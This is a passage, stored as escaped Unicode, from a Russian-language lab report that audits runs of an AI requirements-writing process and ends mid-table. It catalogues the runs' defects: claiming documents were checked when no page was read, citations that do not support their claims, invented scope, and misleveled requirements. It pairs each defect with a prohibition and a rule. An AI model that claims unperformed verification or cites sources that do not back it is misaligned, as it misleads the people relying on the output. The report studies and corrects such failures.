\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c.\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442 \u043f\u0441\u0438\u0445\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445\\n\u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0439: \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e.\\n\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0435 \u044d\u043a\u0441\u0442\u0440\u0430\u043f\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0441\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u0414\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0439 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d read-only \u0441\u043a\u0440\u0438\u043f\u0442\\n[`issue_605_run_inventory.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-605-67068bc98bc2/projects/ba-ai-process/experiments/issue_605_run_inventory.py).\\n\\n### \u041f\u043e\u043b\u043d\u043e\u0442\u0430 evidence\\n\\n| \u0421\u0440\u0435\u0437 | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e | \u041a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d |\\n| --- | ---: | --- |\\n| \u0412\u0441\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 runs | 67 | Metadata, outputs, logs \u0438 feedback \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u043f\u043e \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u0435 metadata | 27 | \u042d\u043a\u0441\u043f\u043e\u0440\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d; \u0432 Git \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d. |\\n| Run \u0431\u0435\u0437 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0434\u0438\u0430\u043b\u043e\u0433\u0430 | 23 | \u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 outputs/logs; \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 gap list. |\\n| \u0414\u0438\u0430\u043b\u043e\u0433\u0438 issue #605 | 2 | \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b BCREQ-1104 \u0438 BCREQ-1106. |\\n| \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u043e\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 | 1 | \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u0438; \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u0444\u0430\u043a\u0442\u043e\u0432. |\\n\\n`RUN-0030`\u2026`RUN-0055` \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c: \u0438\u0445 \u043f\u043e\u043b\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u044b \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\\nGit-\u0434\u0435\u0440\u0435\u0432\u0435, \u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u0432 `metadata.yaml`. `RUN-0061` \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\\n\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043d\u0443\u044e \u0432\u044b\u0431\u043e\u0440\u043a\u0443.\\n\\n### \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n\\n1. **\u041e\u0448\u0438\u0431\u043a\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0435 FR.** \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e: RUN-0016, RUN-0020,\\n   RUN-0026, RUN-0063 \u0438 \u043e\u0431\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435\\n   \u043e\u0442\u043a\u0430\u0437\u044b \u2014 grounding, scope, state \u0438 classification.\\n2. **Citation \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c.** \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e: \u0432\\n   RUN-0024 \u0438 RUN-0026 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u043b\u0438 \u0432\u044b\u0432\u043e\u0434 \u043b\u0438\u0431\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043d\u0435 \u0431\u044b\u043b\u0438\\n   \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b; \u0432 BCREQ-1104 \u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u0444\u0430\u043a\u0442\u044b \u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u0431\u044b\u043b\u0438\\n   \u043d\u0435\u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u044b \u0437\u0432\u0443\u043a\u043e\u0432\u043e\u043c\u0443 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e.\\n3. **\u0410\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e FR \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0435 \u043f\u043e\u043b\u0435 \u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435.**\\n   \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e RUN-0063\u2192RUN-0067: \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438\\n   \u0443\u0434\u0430\u043b\u0435\u043d\u044b, \u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c \u0441 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c\u0438.\\n4. **TM Forum \u0434\u0430\u0451\u0442 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 FR/UC/NFR.** \u041d\u0435\\n   \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e. TM Forum \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 capabilities, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 ODA-\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442;\\n   \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442 \u0438 \u0438\u0445 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\\n   [ISO/IEC/IEEE 29148:2018](https://www.iso.org/obp/ui?_escaped_fragment_=iso%3Astd%3Aiso-iec-ieee%3A29148%3Aed-2%3Av1%3Aen),\\n   \u0430 \u0442\u0438\u043f\u044b FR/NFR \u2014 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439\\n   [IREB CPRE Glossary](https://cpre.ireb.org/en/downloads-and-resources/glossary).\\n\\n## \u041d\u0430\u0445\u043e\u0434\u043a\u0438: \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n\\n\u041a\u0430\u0436\u0434\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e debug-\u0444\u043e\u0440\u043c\u0443: \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f, \u0444\u0430\u043a\u0442, \u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u043e\u0435\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e. `\u0417\u0430\u043f\u0440\u0435\u0442` \u2014 \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043d\u0435 \u0432\u043f\u0440\u0430\u0432\u0435 \u0434\u0435\u043b\u0430\u0442\u044c;\\n`\u041f\u0440\u0430\u0432\u0438\u043b\u043e` \u2014 \u0447\u0442\u043e \u0431\u0443\u0434\u0443\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0431\u044f\u0437\u0430\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c.\\n\\n| ID / \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f | \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0439 \u0444\u0430\u043a\u0442 | \u0417\u0430\u043f\u0440\u0435\u0442 | \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- | --- |\\n| `EVID-01` grounding | RUN-0026 \u0437\u0430\u044f\u0432\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 `extract_page_success=[0,0,0]`; \u0442\u043e\u0447\u043d\u0430\u044f UI-\u043c\u0435\u0442\u043a\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0438\u0442\u043e\u0433\u0430 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u00bb, \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0438\u043b\u0438 \u0442\u043e\u0447\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443, \u0435\u0441\u043b\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0442. | \u041a\u0430\u0436\u0434\u043e\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 `source_ref`, \u0442\u043e\u0447\u043d\u044b\u0439 anchor \u0438 `retrieval_status=read`; \u0438\u043d\u0430\u0447\u0435 \u0442\u043e\u043b\u044c\u043a\u043e `hypothesis` \u0438\u043b\u0438 `open_question`. |\\n| `EVID-02` citation | RUN-0024 \u0434\u0430\u043b \u0442\u0440\u0438 \u0441\u043d\u043e\u0441\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0438\u043c \u0444\u0430\u043a\u0442\u044b; \u043e\u0434\u043d\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0434\u043e\u0448\u043b\u043e \u0434\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u0442\u0435\u043a\u0441\u0442\u0430. | \u041d\u0435\u043b\u044c\u0437\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 URL \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c entailment. | \u0413\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u0440\u0443 `claim \u2194 excerpt`, \u0430 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e `claim \u2194 goal/boundary`; \u043e\u0431\u0435 \u0441\u0432\u044f\u0437\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b. |\\n| `EVID-03` attachment | RUN-0016 \u0441\u0441\u044b\u043b\u0430\u043b\u0441\u044f \u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 CDN-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u0431\u044b\u043b\u043e \u0432 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c run. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 attachment \u0437\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e SSOT. | Evidence \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 checksum \u0438\u043b\u0438 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443; \u0438\u043d\u0430\u0447\u0435 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f gap. |\\n| `REL-01` relevance | BCREQ-1104 \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u043b \u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e speech analytics, TTS \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043b\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043d\u0438\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u0430. | \u041d\u0435\u043b\u044c\u0437\u044f \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0444\u0430\u043a\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437-\u0437\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0441\u043b\u043e\u0432 \u00ab\u0437\u0430\u043f\u0438\u0441\u044c\u00bb, \u00ab\u0437\u0432\u0443\u043a\u00bb \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f. | \u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0444\u0430\u043a\u0442\u0430 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b `goal_refs`, `system_boundary`, `product_binding`, `relevance_reason`; keyword match \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d. |\\n| `SCOPE-01` as-is/delta | \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442; RUN-0067 \u0443\u0434\u0430\u043b\u0438\u043b \u0438\u0445. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435. | \u0414\u043e FR \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `evidence \u2192 as_is \u2192 requested_delta \u2192 disposition`; \u0432 FR \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u0430\u044f delta. |\\n| `SCOPE-02` invented scope | RUN-0016 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u0440\u0435\u0436\u0438\u043c \u0438\u043d\u043a\u043e\u0433\u043d\u0438\u0442\u043e, \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u0432\u043a\u043b\u0430\u0434\u043a\u0443 \u0438 \u043f\u0430\u043a\u0435\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438; RUN-0064 \u043d\u0430\u0448\u0451\u043b \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0439 XLSX \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0435\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438. | \u041d\u0435\u043b\u044c\u0437\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u043e\u043b\u044c, \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044e, \u0444\u043e\u0440\u043c\u0430\u0442, \u043b\u0438\u043c\u0438\u0442 \u0438\u043b\u0438 entitlement \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438. | \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0436\u0438\u0432\u0451\u0442 \u0432 `solution_option`/`open_question`, \u043d\u0435 \u0432 FR/NFR. |\\n| `FR-01` wrong level | BCREQ-1104/1106 \u0438 \u0440\u044f\u0434 chat exports \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u043f\u043e\u043b\u044f, \u043a\u043d\u043e\u043f\u043a\u0438, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043d\u0430 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0435 FR. | \u041d\u0435\u043b\u044c\u0437\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c UI control, \u043f\u043e\u043b\u0435, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0448\u0430\u0433 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, API-\u043c\u0435\u0442\u043e\u0434 \u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b. | FR \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u00ab\u043a\u0430\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442/\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u00bb \u0438 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f L2\u2013L4 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438. |\\n| `FR-02` wrong subject | RUN-0026 \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b \u00ab\u0434\u0430\u0442\u044c \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u00bb \u043a \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c, \u043f\u043e\u0442\u0435\u0440\u044f\u0432 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u044c. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. | Subject \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u0435\u043c: `\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 <\u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435/\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442>`; actor \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u043c\u043e\u0439 actor-\u043e\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438. |\\n| `FR-03` duplication | RUN-0016 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0434\u0443\u0431\u043b\u0438 4.3.2/4.4.1 \u0438 4.5.1/6.1.1. | 